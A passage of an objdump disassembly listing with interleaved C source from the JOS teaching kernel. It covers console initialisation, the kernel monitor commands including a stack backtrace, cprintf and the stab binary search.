f01005e4: 74 19 je f01005ff <cons_getc+0x48>
c = cons.buf[cons.rpos++];
f01005e6: 8d 4a 01 lea 0x1(%edx),%ecx
f01005e9: 89 8b 78 1f 00 00 mov %ecx,0x1f78(%ebx)
f01005ef: 0f b6 84 13 78 1d 00 movzbl 0x1d78(%ebx,%edx,1),%eax
f01005f6: 00
if (cons.rpos == CONSBUFSIZE)
f01005f7: 81 f9 00 02 00 00 cmp $0x200,%ecx
f01005fd: 74 06 je f0100605 <cons_getc+0x4e>
}
f01005ff: 83 c4 04 add $0x4,%esp
f0100602: 5b pop %ebx
f0100603: 5d pop %ebp
f0100604: c3 ret
cons.rpos = 0;
f0100605: c7 83 78 1f 00 00 00 movl $0x0,0x1f78(%ebx)
f010060c: 00 00 00
f010060f: eb ee jmp f01005ff <cons_getc+0x48>
f0100611 <cons_init>:
// initialize the console devices
void
cons_init(void)
{
f0100611: 55 push %ebp
f0100612: 89 e5 mov %esp,%ebp
f0100614: 57 push %edi
f0100615: 56 push %esi
f0100616: 53 push %ebx
f0100617: 83 ec 1c sub $0x1c,%esp
f010061a: e8 9d fb ff ff call f01001bc <__x86.get_pc_thunk.bx>
f010061f: 81 c3 e9 0c 01 00 add $0x10ce9,%ebx
was = *cp;
f0100625: 0f b7 15 00 80 0b f0 movzwl 0xf00b8000,%edx
*cp = (uint16_t) 0xA55A;
f010062c: 66 c7 05 00 80 0b f0 movw $0xa55a,0xf00b8000
f0100633: 5a a5
if (*cp != 0xA55A) {
f0100635: 0f b7 05 00 80 0b f0 movzwl 0xf00b8000,%eax
f010063c: 66 3d 5a a5 cmp $0xa55a,%ax
f0100640: 0f 84 bc 00 00 00 je f0100702 <cons_init+0xf1>
addr_6845 = MONO_BASE;
f0100646: c7 83 88 1f 00 00 b4 movl $0x3b4,0x1f88(%ebx)
f010064d: 03 00 00
cp = (uint16_t*) (KERNBASE + MONO_BUF);
f0100650: c7 45 e4 00 00 0b f0 movl $0xf00b0000,-0x1c(%ebp)
outb(addr_6845, 14);
f0100657: 8b bb 88 1f 00 00 mov 0x1f88(%ebx),%edi
f010065d: b8 0e 00 00 00 mov $0xe,%eax
f0100662: 89 fa mov %edi,%edx
f0100664: ee out %al,(%dx)
pos = inb(addr_6845 + 1) << 8;
f0100665: 8d 4f 01 lea 0x1(%edi),%ecx
asm volatile("inb %w1,%0" : "=a" (data) : "d" (port));
f0100668: 89 ca mov %ecx,%edx
f010066a: ec in (%dx),%al
f010066b: 0f b6 f0 movzbl %al,%esi
f010066e: c1 e6 08 shl $0x8,%esi
asm volatile("outb %0,%w1" : : "a" (data), "d" (port));
f0100671: b8 0f 00 00 00 mov $0xf,%eax
f0100676: 89 fa mov %edi,%edx
f0100678: ee out %al,(%dx)
asm volatile("inb %w1,%0" : "=a" (data) : "d" (port));
f0100679: 89 ca mov %ecx,%edx
f010067b: ec in (%dx),%al
crt_buf = (uint16_t*) cp;
f010067c: 8b 7d e4 mov -0x1c(%ebp),%edi
f010067f: 89 bb 84 1f 00 00 mov %edi,0x1f84(%ebx)
pos |= inb(addr_6845 + 1);
f0100685: 0f b6 c0 movzbl %al,%eax
f0100688: 09 c6 or %eax,%esi
crt_pos = pos;
f010068a: 66 89 b3 80 1f 00 00 mov %si,0x1f80(%ebx)
asm volatile("outb %0,%w1" : : "a" (data), "d" (port));
f0100691: b9 00 00 00 00 mov $0x0,%ecx
f0100696: 89 c8 mov %ecx,%eax
f0100698: ba fa 03 00 00 mov $0x3fa,%edx
f010069d: ee out %al,(%dx)
f010069e: bf fb 03 00 00 mov $0x3fb,%edi
f01006a3: b8 80 ff ff ff mov $0xffffff80,%eax
f01006a8: 89 fa mov %edi,%edx
f01006aa: ee out %al,(%dx)
f01006ab: b8 0c 00 00 00 mov $0xc,%eax
f01006b0: ba f8 03 00 00 mov $0x3f8,%edx
f01006b5: ee out %al,(%dx)
f01006b6: be f9 03 00 00 mov $0x3f9,%esi
f01006bb: 89 c8 mov %ecx,%eax
f01006bd: 89 f2 mov %esi,%edx
f01006bf: ee out %al,(%dx)
f01006c0: b8 03 00 00 00 mov $0x3,%eax
f01006c5: 89 fa mov %edi,%edx
f01006c7: ee out %al,(%dx)
f01006c8: ba fc 03 00 00 mov $0x3fc,%edx
f01006cd: 89 c8 mov %ecx,%eax
f01006cf: ee out %al,(%dx)
f01006d0: b8 01 00 00 00 mov $0x1,%eax
f01006d5: 89 f2 mov %esi,%edx
f01006d7: ee out %al,(%dx)
asm volatile("inb %w1,%0" : "=a" (data) : "d" (port));
f01006d8: ba fd 03 00 00 mov $0x3fd,%edx
f01006dd: ec in (%dx),%al
f01006de: 89 c1 mov %eax,%ecx
serial_exists = (inb(COM1+COM_LSR) != 0xFF);
f01006e0: 3c ff cmp $0xff,%al
f01006e2: 0f 95 83 8c 1f 00 00 setne 0x1f8c(%ebx)
f01006e9: ba fa 03 00 00 mov $0x3fa,%edx
f01006ee: ec in (%dx),%al
f01006ef: ba f8 03 00 00 mov $0x3f8,%edx
f01006f4: ec in (%dx),%al
cga_init();
kbd_init();
serial_init();
if (!serial_exists)
f01006f5: 80 f9 ff cmp $0xff,%cl
f01006f8: 74 25 je f010071f <cons_init+0x10e>
cprintf("Serial port does not exist!\n");
}
f01006fa: 8d 65 f4 lea -0xc(%ebp),%esp
f01006fd: 5b pop %ebx
f01006fe: 5e pop %esi
f01006ff: 5f pop %edi
f0100700: 5d pop %ebp
f0100701: c3 ret
*cp = was;
f0100702: 66 89 15 00 80 0b f0 mov %dx,0xf00b8000
addr_6845 = CGA_BASE;
f0100709: c7 83 88 1f 00 00 d4 movl $0x3d4,0x1f88(%ebx)
f0100710: 03 00 00
cp = (uint16_t*) (KERNBASE + CGA_BUF);
f0100713: c7 45 e4 00 80 0b f0 movl $0xf00b8000,-0x1c(%ebp)
f010071a: e9 38 ff ff ff jmp f0100657 <cons_init+0x46>
cprintf("Serial port does not exist!\n");
f010071f: 83 ec 0c sub $0xc,%esp
f0100722: 8d 83 08 09 ff ff lea -0xf6f8(%ebx),%eax
f0100728: 50 push %eax
f0100729: e8 ce 03 00 00 call f0100afc <cprintf>
f010072e: 83 c4 10 add $0x10,%esp
}
f0100731: eb c7 jmp f01006fa <cons_init+0xe9>
f0100733 <cputchar>:
// `High'-level console I/O. Used by readline and cprintf.
void
cputchar(int c)
{
f0100733: 55 push %ebp
f0100734: 89 e5 mov %esp,%ebp
f0100736: 83 ec 08 sub $0x8,%esp
cons_putc(c);
f0100739: 8b 45 08 mov 0x8(%ebp),%eax
f010073c: e8 1b fc ff ff call f010035c <cons_putc>
}
f0100741: c9 leave
f0100742: c3 ret
f0100743 <getchar>:
int
getchar(void)
{
f0100743: 55 push %ebp
f0100744: 89 e5 mov %esp,%ebp
f0100746: 83 ec 08 sub $0x8,%esp
int c;
while ((c = cons_getc()) == 0)
f0100749: e8 69 fe ff ff call f01005b7 <cons_getc>
f010074e: 85 c0 test %eax,%eax
f0100750: 74 f7 je f0100749 <getchar+0x6>
/* do nothing */;
return c;
}
f0100752: c9 leave
f0100753: c3 ret
f0100754 <iscons>:
int
iscons(int fdnum)
{
f0100754: 55 push %ebp
f0100755: 89 e5 mov %esp,%ebp
// used by readline
return 1;
}
f0100757: b8 01 00 00 00 mov $0x1,%eax
f010075c: 5d pop %ebp
f010075d: c3 ret
f010075e <__x86.get_pc_thunk.ax>:
f010075e: 8b 04 24 mov (%esp),%eax
f0100761: c3 ret
f0100762 <mon_help>:
/***** Implementations of basic kernel monitor commands *****/
int
mon_help(int argc, char **argv, struct Trapframe *tf)
{
f0100762: 55 push %ebp
f0100763: 89 e5 mov %esp,%ebp
f0100765: 56 push %esi
f0100766: 53 push %ebx
f0100767: e8 50 fa ff ff call f01001bc <__x86.get_pc_thunk.bx>
f010076c: 81 c3 9c 0b 01 00 add $0x10b9c,%ebx
int i;
for (i = 0; i < ARRAY_SIZE(commands); i++)
cprintf("%s - %s\n", commands[i].name, commands[i].desc);
f0100772: 83 ec 04 sub $0x4,%esp
f0100775: 8d 83 38 0b ff ff lea -0xf4c8(%ebx),%eax
f010077b: 50 push %eax
f010077c: 8d 83 56 0b ff ff lea -0xf4aa(%ebx),%eax
f0100782: 50 push %eax
f0100783: 8d b3 5b 0b ff ff lea -0xf4a5(%ebx),%esi
f0100789: 56 push %esi
f010078a: e8 6d 03 00 00 call f0100afc <cprintf>
f010078f: 83 c4 0c add $0xc,%esp
f0100792: 8d 83 10 0c ff ff lea -0xf3f0(%ebx),%eax
f0100798: 50 push %eax
f0100799: 8d 83 64 0b ff ff lea -0xf49c(%ebx),%eax
f010079f: 50 push %eax
f01007a0: 56 push %esi
f01007a1: e8 56 03 00 00 call f0100afc <cprintf>
return 0;
}
f01007a6: b8 00 00 00 00 mov $0x0,%eax
f01007ab: 8d 65 f8 lea -0x8(%ebp),%esp
f01007ae: 5b pop %ebx
f01007af: 5e pop %esi
f01007b0: 5d pop %ebp
f01007b1: c3 ret
f01007b2 <mon_kerninfo>:
int
mon_kerninfo(int argc, char **argv, struct Trapframe *tf)
{
f01007b2: 55 push %ebp
f01007b3: 89 e5 mov %esp,%ebp
f01007b5: 57 push %edi
f01007b6: 56 push %esi
f01007b7: 53 push %ebx
f01007b8: 83 ec 18 sub $0x18,%esp
f01007bb: e8 fc f9 ff ff call f01001bc <__x86.get_pc_thunk.bx>
f01007c0: 81 c3 48 0b 01 00 add $0x10b48,%ebx
extern char _start[], entry[], etext[], edata[], end[];
cprintf("Special kernel symbols:\n");
f01007c6: 8d 83 6d 0b ff ff lea -0xf493(%ebx),%eax
f01007cc: 50 push %eax
f01007cd: e8 2a 03 00 00 call f0100afc <cprintf>
cprintf(" _start %08x (phys)\n", _start);
f01007d2: 83 c4 08 add $0x8,%esp
f01007d5: ff b3 f8 ff ff ff pushl -0x8(%ebx)
f01007db: 8d 83 38 0c ff ff lea -0xf3c8(%ebx),%eax
f01007e1: 50 push %eax
f01007e2: e8 15 03 00 00 call f0100afc <cprintf>
cprintf(" entry %08x (virt) %08x (phys)\n", entry, entry - KERNBASE);
f01007e7: 83 c4 0c add $0xc,%esp
f01007ea: c7 c7 0c 00 10 f0 mov $0xf010000c,%edi
f01007f0: 8d 87 00 00 00 10 lea 0x10000000(%edi),%eax
f01007f6: 50 push %eax
f01007f7: 57 push %edi
f01007f8: 8d 83 60 0c ff ff lea -0xf3a0(%ebx),%eax
f01007fe: 50 push %eax
f01007ff: e8 f8 02 00 00 call f0100afc <cprintf>
cprintf(" etext %08x (virt) %08x (phys)\n", etext, etext - KERNBASE);
f0100804: 83 c4 0c add $0xc,%esp
f0100807: c7 c0 69 1b 10 f0 mov $0xf0101b69,%eax
f010080d: 8d 90 00 00 00 10 lea 0x10000000(%eax),%edx
f0100813: 52 push %edx
f0100814: 50 push %eax
f0100815: 8d 83 84 0c ff ff lea -0xf37c(%ebx),%eax
f010081b: 50 push %eax
f010081c: e8 db 02 00 00 call f0100afc <cprintf>
cprintf(" edata %08x (virt) %08x (phys)\n", edata, edata - KERNBASE);
f0100821: 83 c4 0c add $0xc,%esp
f0100824: c7 c0 60 30 11 f0 mov $0xf0113060,%eax
f010082a: 8d 90 00 00 00 10 lea 0x10000000(%eax),%edx
f0100830: 52 push %edx
f0100831: 50 push %eax
f0100832: 8d 83 a8 0c ff ff lea -0xf358(%ebx),%eax
f0100838: 50 push %eax
f0100839: e8 be 02 00 00 call f0100afc <cprintf>
cprintf(" end %08x (virt) %08x (phys)\n", end, end - KERNBASE);
f010083e: 83 c4 0c add $0xc,%esp
f0100841: c7 c6 a0 36 11 f0 mov $0xf01136a0,%esi
f0100847: 8d 86 00 00 00 10 lea 0x10000000(%esi),%eax
f010084d: 50 push %eax
f010084e: 56 push %esi
f010084f: 8d 83 cc 0c ff ff lea -0xf334(%ebx),%eax
f0100855: 50 push %eax
f0100856: e8 a1 02 00 00 call f0100afc <cprintf>
cprintf("Kernel executable memory footprint: %dKB\n",
f010085b: 83 c4 08 add $0x8,%esp
ROUNDUP(end - entry, 1024) / 1024);
f010085e: 81 c6 ff 03 00 00 add $0x3ff,%esi
f0100864: 29 fe sub %edi,%esi
cprintf("Kernel executable memory footprint: %dKB\n",
f0100866: c1 fe 0a sar $0xa,%esi
f0100869: 56 push %esi
f010086a: 8d 83 f0 0c ff ff lea -0xf310(%ebx),%eax
f0100870: 50 push %eax
f0100871: e8 86 02 00 00 call f0100afc <cprintf>
return 0;
}
f0100876: b8 00 00 00 00 mov $0x0,%eax
f010087b: 8d 65 f4 lea -0xc(%ebp),%esp
f010087e: 5b pop %ebx
f010087f: 5e pop %esi
f0100880: 5f pop %edi
f0100881: 5d pop %ebp
f0100882: c3 ret
f0100883 <mon_backtrace>:
int
mon_backtrace(int argc, char **argv, struct Trapframe *tf)
{
f0100883: 55 push %ebp
f0100884: 89 e5 mov %esp,%ebp
f0100886: 57 push %edi
f0100887: 56 push %esi
f0100888: 53 push %ebx
f0100889: 83 ec 48 sub $0x48,%esp
f010088c: e8 2b f9 ff ff call f01001bc <__x86.get_pc_thunk.bx>
f0100891: 81 c3 77 0a 01 00 add $0x10a77,%ebx
// Your code here.
cprintf("Stack backtrace:\n");
f0100897: 8d 83 86 0b ff ff lea -0xf47a(%ebx),%eax
f010089d: 50 push %eax
f010089e: e8 59 02 00 00 call f0100afc <cprintf>
static inline uint32_t
read_ebp(void)
{
uint32_t ebp;
asm volatile("movl %%ebp,%0" : "=r" (ebp));
f01008a3: 89 e8 mov %ebp,%eax
uint32_t *ebp=(uint32_t *)read_ebp();
f01008a5: 89 c7 mov %eax,%edi
struct Eipdebuginfo info;
while(ebp)
f01008a7: 83 c4 10 add $0x10,%esp
{
uint32_t *eip=ebp+1;
int flag=debuginfo_eip((uintptr_t)*eip,&info);
f01008aa: 8d 45 d0 lea -0x30(%ebp),%eax
f01008ad: 89 45 bc mov %eax,-0x44(%ebp)
cprintf(" ebp %08x eip %08x args",ebp,*eip);
f01008b0: 8d 83 98 0b ff ff lea -0xf468(%ebx),%eax
f01008b6: 89 45 b8 mov %eax,-0x48(%ebp)
while(ebp)
f01008b9: eb 74 jmp f010092f <mon_backtrace+0xac>
int flag=debuginfo_eip((uintptr_t)*eip,&info);
f01008bb: 83 ec 08 sub $0x8,%esp
f01008be: ff 75 bc pushl -0x44(%ebp)
f01008c1: ff 77 04 pushl 0x4(%edi)
f01008c4: e8 37 03 00 00 call f0100c00 <debuginfo_eip>
cprintf(" ebp %08x eip %08x args",ebp,*eip);
f01008c9: 83 c4 0c add $0xc,%esp
f01008cc: ff 77 04 pushl 0x4(%edi)
f01008cf: 57 push %edi
f01008d0: ff 75 b8 pushl -0x48(%ebp)
f01008d3: e8 24 02 00 00 call f0100afc <cprintf>
f01008d8: 8d 77 08 lea 0x8(%edi),%esi
f01008db: 8d 47 1c lea 0x1c(%edi),%eax
f01008de: 89 45 c4 mov %eax,-0x3c(%ebp)
f01008e1: 83 c4 10 add $0x10,%esp
for(int i=1;i<=5;++i)
{
cprintf(" %08x",*(ebp+i+1));
f01008e4: 8d 83 b1 0b ff ff lea -0xf44f(%ebx),%eax
f01008ea: 89 7d c0 mov %edi,-0x40(%ebp)
f01008ed: 89 c7 mov %eax,%edi
f01008ef: 83 ec 08 sub $0x8,%esp
f01008f2: ff 36 pushl (%esi)
f01008f4: 57 push %edi
f01008f5: e8 02 02 00 00 call f0100afc <cprintf>
f01008fa: 83 c6 04 add $0x4,%esi
for(int i=1;i<=5;++i)
f01008fd: 83 c4 10 add $0x10,%esp
f0100900: 3b 75 c4 cmp -0x3c(%ebp),%esi
f0100903: 75 ea jne f01008ef <mon_backtrace+0x6c>
f0100905: 8b 7d c0 mov -0x40(%ebp),%edi
}
cprintf("\n %s:%d: %.*s+%d\n",info.eip_file , info.eip_line , info.eip_fn_namelen , info.eip_fn_name , (ebp[1]-info.eip_fn_addr));
f0100908: 83 ec 08 sub $0x8,%esp
f010090b: 8b 47 04 mov 0x4(%edi),%eax
f010090e: 2b 45 e0 sub -0x20(%ebp),%eax
f0100911: 50 push %eax
f0100912: ff 75 d8 pushl -0x28(%ebp)
f0100915: ff 75 dc pushl -0x24(%ebp)
f0100918: ff 75 d4 pushl -0x2c(%ebp)
f010091b: ff 75 d0 pushl -0x30(%ebp)
f010091e: 8d 83 b7 0b ff ff lea -0xf449(%ebx),%eax
f0100924: 50 push %eax
f0100925: e8 d2 01 00 00 call f0100afc <cprintf>
ebp=(uint32_t *)(*ebp);
f010092a: 8b 3f mov (%edi),%edi
f010092c: 83 c4 20 add $0x20,%esp
while(ebp)
f010092f: 85 ff test %edi,%edi
f0100931: 75 88 jne f01008bb <mon_backtrace+0x38>
}
return 0;
}
f0100933: b8 00 00 00 00 mov $0x0,%eax
f0100938: 8d 65 f4 lea -0xc(%ebp),%esp
f010093b: 5b pop %ebx
f010093c: 5e pop %esi
f010093d: 5f pop %edi
f010093e: 5d pop %ebp
f010093f: c3 ret
f0100940 <monitor>:
return 0;
}
void
monitor(struct Trapframe *tf)
{
f0100940: 55 push %ebp
f0100941: 89 e5 mov %esp,%ebp
f0100943: 57 push %edi
f0100944: 56 push %esi
f0100945: 53 push %ebx
f0100946: 83 ec 68 sub $0x68,%esp
f0100949: e8 6e f8 ff ff call f01001bc <__x86.get_pc_thunk.bx>
f010094e: 81 c3 ba 09 01 00 add $0x109ba,%ebx
char *buf;
cprintf("Welcome to the JOS kernel monitor!\n");
f0100954: 8d 83 1c 0d ff ff lea -0xf2e4(%ebx),%eax
f010095a: 50 push %eax
f010095b: e8 9c 01 00 00 call f0100afc <cprintf>
cprintf("Type 'help' for a list of commands.\n");
f0100960: 8d 83 40 0d ff ff lea -0xf2c0(%ebx),%eax
f0100966: 89 04 24 mov %eax,(%esp)
f0100969: e8 8e 01 00 00 call f0100afc <cprintf>
f010096e: 83 c4 10 add $0x10,%esp
while (*buf && strchr(WHITESPACE, *buf))
f0100971: 8d bb d5 0b ff ff lea -0xf42b(%ebx),%edi
f0100977: eb 4a jmp f01009c3 <monitor+0x83>
f0100979: 83 ec 08 sub $0x8,%esp
f010097c: 0f be c0 movsbl %al,%eax
f010097f: 50 push %eax
f0100980: 57 push %edi
f0100981: e8 71 0d 00 00 call f01016f7 <strchr>
f0100986: 83 c4 10 add $0x10,%esp
f0100989: 85 c0 test %eax,%eax
f010098b: 74 08 je f0100995 <monitor+0x55>
*buf++ = 0;
f010098d: c6 06 00 movb $0x0,(%esi)
f0100990: 8d 76 01 lea 0x1(%esi),%esi
f0100993: eb 79 jmp f0100a0e <monitor+0xce>
if (*buf == 0)
f0100995: 80 3e 00 cmpb $0x0,(%esi)
f0100998: 74 7f je f0100a19 <monitor+0xd9>
if (argc == MAXARGS-1) {
f010099a: 83 7d a4 0f cmpl $0xf,-0x5c(%ebp)
f010099e: 74 0f je f01009af <monitor+0x6f>
argv[argc++] = buf;
f01009a0: 8b 45 a4 mov -0x5c(%ebp),%eax
f01009a3: 8d 48 01 lea 0x1(%eax),%ecx
f01009a6: 89 4d a4 mov %ecx,-0x5c(%ebp)
f01009a9: 89 74 85 a8 mov %esi,-0x58(%ebp,%eax,4)
f01009ad: eb 44 jmp f01009f3 <monitor+0xb3>
cprintf("Too many arguments (max %d)\n", MAXARGS);
f01009af: 83 ec 08 sub $0x8,%esp
f01009b2: 6a 10 push $0x10
f01009b4: 8d 83 da 0b ff ff lea -0xf426(%ebx),%eax
f01009ba: 50 push %eax
f01009bb: e8 3c 01 00 00 call f0100afc <cprintf>
f01009c0: 83 c4 10 add $0x10,%esp
while (1) {
buf = readline("K> ");
f01009c3: 8d 83 d1 0b ff ff lea -0xf42f(%ebx),%eax
f01009c9: 89 45 a4 mov %eax,-0x5c(%ebp)
f01009cc: 83 ec 0c sub $0xc,%esp
f01009cf: ff 75 a4 pushl -0x5c(%ebp)
f01009d2: e8 e8 0a 00 00 call f01014bf <readline>
f01009d7: 89 c6 mov %eax,%esi
if (buf != NULL)
f01009d9: 83 c4 10 add $0x10,%esp
f01009dc: 85 c0 test %eax,%eax
f01009de: 74 ec je f01009cc <monitor+0x8c>
argv[argc] = 0;
f01009e0: c7 45 a8 00 00 00 00 movl $0x0,-0x58(%ebp)
argc = 0;
f01009e7: c7 45 a4 00 00 00 00 movl $0x0,-0x5c(%ebp)
f01009ee: eb 1e jmp f0100a0e <monitor+0xce>
buf++;
f01009f0: 83 c6 01 add $0x1,%esi
while (*buf && !strchr(WHITESPACE, *buf))
f01009f3: 0f b6 06 movzbl (%esi),%eax
f01009f6: 84 c0 test %al,%al
f01009f8: 74 14 je f0100a0e <monitor+0xce>
f01009fa: 83 ec 08 sub $0x8,%esp
f01009fd: 0f be c0 movsbl %al,%eax
f0100a00: 50 push %eax
f0100a01: 57 push %edi
f0100a02: e8 f0 0c 00 00 call f01016f7 <strchr>
f0100a07: 83 c4 10 add $0x10,%esp
f0100a0a: 85 c0 test %eax,%eax
f0100a0c: 74 e2 je f01009f0 <monitor+0xb0>
while (*buf && strchr(WHITESPACE, *buf))
f0100a0e: 0f b6 06 movzbl (%esi),%eax
f0100a11: 84 c0 test %al,%al
f0100a13: 0f 85 60 ff ff ff jne f0100979 <monitor+0x39>
argv[argc] = 0;
f0100a19: 8b 45 a4 mov -0x5c(%ebp),%eax
f0100a1c: c7 44 85 a8 00 00 00 movl $0x0,-0x58(%ebp,%eax,4)
f0100a23: 00
if (argc == 0)
f0100a24: 85 c0 test %eax,%eax
f0100a26: 74 9b je f01009c3 <monitor+0x83>
if (strcmp(argv[0], commands[i].name) == 0)
f0100a28: 83 ec 08 sub $0x8,%esp
f0100a2b: 8d 83 56 0b ff ff lea -0xf4aa(%ebx),%eax
f0100a31: 50 push %eax
f0100a32: ff 75 a8 pushl -0x58(%ebp)
f0100a35: e8 5f 0c 00 00 call f0101699 <strcmp>
f0100a3a: 83 c4 10 add $0x10,%esp
f0100a3d: 85 c0 test %eax,%eax
f0100a3f: 74 38 je f0100a79 <monitor+0x139>
f0100a41: 83 ec 08 sub $0x8,%esp
f0100a44: 8d 83 64 0b ff ff lea -0xf49c(%ebx),%eax
f0100a4a: 50 push %eax
f0100a4b: ff 75 a8 pushl -0x58(%ebp)
f0100a4e: e8 46 0c 00 00 call f0101699 <strcmp>
f0100a53: 83 c4 10 add $0x10,%esp
f0100a56: 85 c0 test %eax,%eax
f0100a58: 74 1a je f0100a74 <monitor+0x134>
cprintf("Unknown command '%s'\n", argv[0]);
f0100a5a: 83 ec 08 sub $0x8,%esp
f0100a5d: ff 75 a8 pushl -0x58(%ebp)
f0100a60: 8d 83 f7 0b ff ff lea -0xf409(%ebx),%eax
f0100a66: 50 push %eax
f0100a67: e8 90 00 00 00 call f0100afc <cprintf>
f0100a6c: 83 c4 10 add $0x10,%esp
f0100a6f: e9 4f ff ff ff jmp f01009c3 <monitor+0x83>
for (i = 0; i < ARRAY_SIZE(commands); i++) {
f0100a74: b8 01 00 00 00 mov $0x1,%eax
return commands[i].func(argc, argv, tf);
f0100a79: 83 ec 04 sub $0x4,%esp
f0100a7c: 8d 04 40 lea (%eax,%eax,2),%eax
f0100a7f: ff 75 08 pushl 0x8(%ebp)
f0100a82: 8d 55 a8 lea -0x58(%ebp),%edx
f0100a85: 52 push %edx
f0100a86: ff 75 a4 pushl -0x5c(%ebp)
f0100a89: ff 94 83 10 1d 00 00 call *0x1d10(%ebx,%eax,4)
if (runcmd(buf, tf) < 0)
f0100a90: 83 c4 10 add $0x10,%esp
f0100a93: 85 c0 test %eax,%eax
f0100a95: 0f 89 28 ff ff ff jns f01009c3 <monitor+0x83>
break;
}
}
f0100a9b: 8d 65 f4 lea -0xc(%ebp),%esp
f0100a9e: 5b pop %ebx
f0100a9f: 5e pop %esi
f0100aa0: 5f pop %edi
f0100aa1: 5d pop %ebp
f0100aa2: c3 ret
f0100aa3 <putch>:
#include <inc/stdarg.h>
static void
putch(int ch, int *cnt)
{
f0100aa3: 55 push %ebp
f0100aa4: 89 e5 mov %esp,%ebp
f0100aa6: 53 push %ebx
f0100aa7: 83 ec 10 sub $0x10,%esp
f0100aaa: e8 0d f7 ff ff call f01001bc <__x86.get_pc_thunk.bx>
f0100aaf: 81 c3 59 08 01 00 add $0x10859,%ebx
cputchar(ch);
f0100ab5: ff 75 08 pushl 0x8(%ebp)
f0100ab8: e8 76 fc ff ff call f0100733 <cputchar>
*cnt++;
}
f0100abd: 83 c4 10 add $0x10,%esp
f0100ac0: 8b 5d fc mov -0x4(%ebp),%ebx
f0100ac3: c9 leave
f0100ac4: c3 ret
f0100ac5 <vcprintf>:
int
vcprintf(const char *fmt, va_list ap)
{
f0100ac5: 55 push %ebp
f0100ac6: 89 e5 mov %esp,%ebp
f0100ac8: 53 push %ebx
f0100ac9: 83 ec 14 sub $0x14,%esp
f0100acc: e8 eb f6 ff ff call f01001bc <__x86.get_pc_thunk.bx>
f0100ad1: 81 c3 37 08 01 00 add $0x10837,%ebx
int cnt = 0;
f0100ad7: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
vprintfmt((void*)putch, &cnt, fmt, ap);
f0100ade: ff 75 0c pushl 0xc(%ebp)
f0100ae1: ff 75 08 pushl 0x8(%ebp)
f0100ae4: 8d 45 f4 lea -0xc(%ebp),%eax
f0100ae7: 50 push %eax
f0100ae8: 8d 83 9b f7 fe ff lea -0x10865(%ebx),%eax
f0100aee: 50 push %eax
f0100aef: e8 bb 04 00 00 call f0100faf <vprintfmt>
return cnt;
}
f0100af4: 8b 45 f4 mov -0xc(%ebp),%eax
f0100af7: 8b 5d fc mov -0x4(%ebp),%ebx
f0100afa: c9 leave
f0100afb: c3 ret
f0100afc <cprintf>:
int
cprintf(const char *fmt, ...)
{
f0100afc: 55 push %ebp
f0100afd: 89 e5 mov %esp,%ebp
f0100aff: 83 ec 10 sub $0x10,%esp
va_list ap;
int cnt;
va_start(ap, fmt);
f0100b02: 8d 45 0c lea 0xc(%ebp),%eax
cnt = vcprintf(fmt, ap);
f0100b05: 50 push %eax
f0100b06: ff 75 08 pushl 0x8(%ebp)
f0100b09: e8 b7 ff ff ff call f0100ac5 <vcprintf>
va_end(ap);
return cnt;
}
f0100b0e: c9 leave
f0100b0f: c3 ret
f0100b10 <stab_binsearch>:
// will exit setting left = 118, right = 554.
//
static void
stab_binsearch(const struct Stab *stabs, int *region_left, int *region_right,
int type, uintptr_t addr)
{
f0100b10: 55 push %ebp
f0100b11: 89 e5 mov %esp,%ebp
f0100b13: 57 push %edi
f0100b14: 56 push %esi
f0100b15: 53 push %ebx
f0100b16: 83 ec 14 sub $0x14,%esp
f0100b19: 89 45 ec mov %eax,-0x14(%ebp)
f0100b1c: 89 55 e4 mov %edx,-0x1c(%ebp)
f0100b1f: 89 4d e0 mov %ecx,-0x20(%ebp)
f0100b22: 8b 7d 08 mov 0x8(%ebp),%edi
int l = *region_left, r = *region_right, any_matches = 0;
f0100b25: 8b 32 mov (%edx),%esi
f0100b27: 8b 01 mov (%ecx),%eax
f0100b29: 89 45 f0 mov %eax,-0x10(%ebp)
f0100b2c: c7 45 e8 00 00 00 00 movl $0x0,-0x18(%ebp)
while (l <= r) {
f0100b33: eb 2f jmp f0100b64 <stab_binsearch+0x54>
int true_m = (l + r) / 2, m = true_m;
// search for earliest stab with right type
while (m >= l && stabs[m].n_type != type)
m--;
f0100b35: 83 e8 01 sub $0x1,%eax
while (m >= l && stabs[m].n_type != type)
f0100b38: 39 c6 cmp %eax,%esi
f0100b3a: 7f 49 jg f0100b85 <stab_binsearch+0x75>
f0100b3c: 0f b6 0a movzbl (%edx),%ecx
f0100b3f: 83 ea 0c sub $0xc,%edx
f0100b42: 39 f9 cmp %edi,%ecx
f0100b44: 75 ef jne f0100b35 <stab_binsearch+0x25>
continue;
}
// actual binary search
any_matches = 1;
if (stabs[m].n_value < addr) {
f0100b46: 8d 14 40 lea (%eax,%eax,2),%edx
f0100b49: 8b 4d ec mov -0x14(%ebp),%ecx
f0100b4c: 8b 54 91 08 mov 0x8(%ecx,%edx,4),%edx
f0100b50: 3b 55 0c cmp 0xc(%ebp),%edx
f0100b53: 73 35 jae f0100b8a <stab_binsearch+0x7a>
*region_left = m;
f0100b55: 8b 75 e4 mov -0x1c(%ebp),%esi
f0100b58: 89 06 mov %eax,(%esi)
l = true_m + 1;
f0100b5a: 8d 73 01 lea 0x1(%ebx),%esi
any_matches = 1;
f0100b5d: c7 45 e8 01 00 00 00 movl $0x1,-0x18(%ebp)
while (l <= r) {
f0100b64: 3b 75 f0 cmp -0x10(%ebp),%esi
f0100b67: 7f 4e jg f0100bb7 <stab_binsearch+0xa7>
int true_m = (l + r) / 2, m = true_m;
f0100b69: 8b 45 f0 mov -0x10(%ebp),%eax
f0100b6c: 01 f0 add %esi,%eax
f0100b6e: 89 c3 mov %eax,%ebx
f0100b70: c1 eb 1f shr $0x1f,%ebx
f0100b73: 01 c3 add %eax,%ebx
f0100b75: d1 fb sar %ebx
f0100b77: 8d 04 5b lea (%ebx,%ebx,2),%eax
f0100b7a: 8b 4d ec mov -0x14(%ebp),%ecx
f0100b7d: 8d 54 81 04 lea 0x4(%ecx,%eax,4),%edx
f0100b81: 89 d8 mov %ebx,%eax
while (m >= l && stabs[m].n_type != type)
f0100b83: eb b3 jmp f0100b38 <stab_binsearch+0x28>
l = true_m + 1;
f0100b85: 8d 73 01 lea 0x1(%ebx),%esi
continue;
f0100b88: eb da jmp f0100b64 <stab_binsearch+0x54>
} else if (stabs[m].n_value > addr) {
f0100b8a: 3b 55 0c cmp 0xc(%ebp),%edx
f0100b8d: 76 14 jbe f0100ba3 <stab_binsearch+0x93>
*region_right = m - 1;
f0100b8f: 83 e8 01 sub $0x1,%eax
f0100b92: 89 45 f0 mov %eax,-0x10(%ebp)
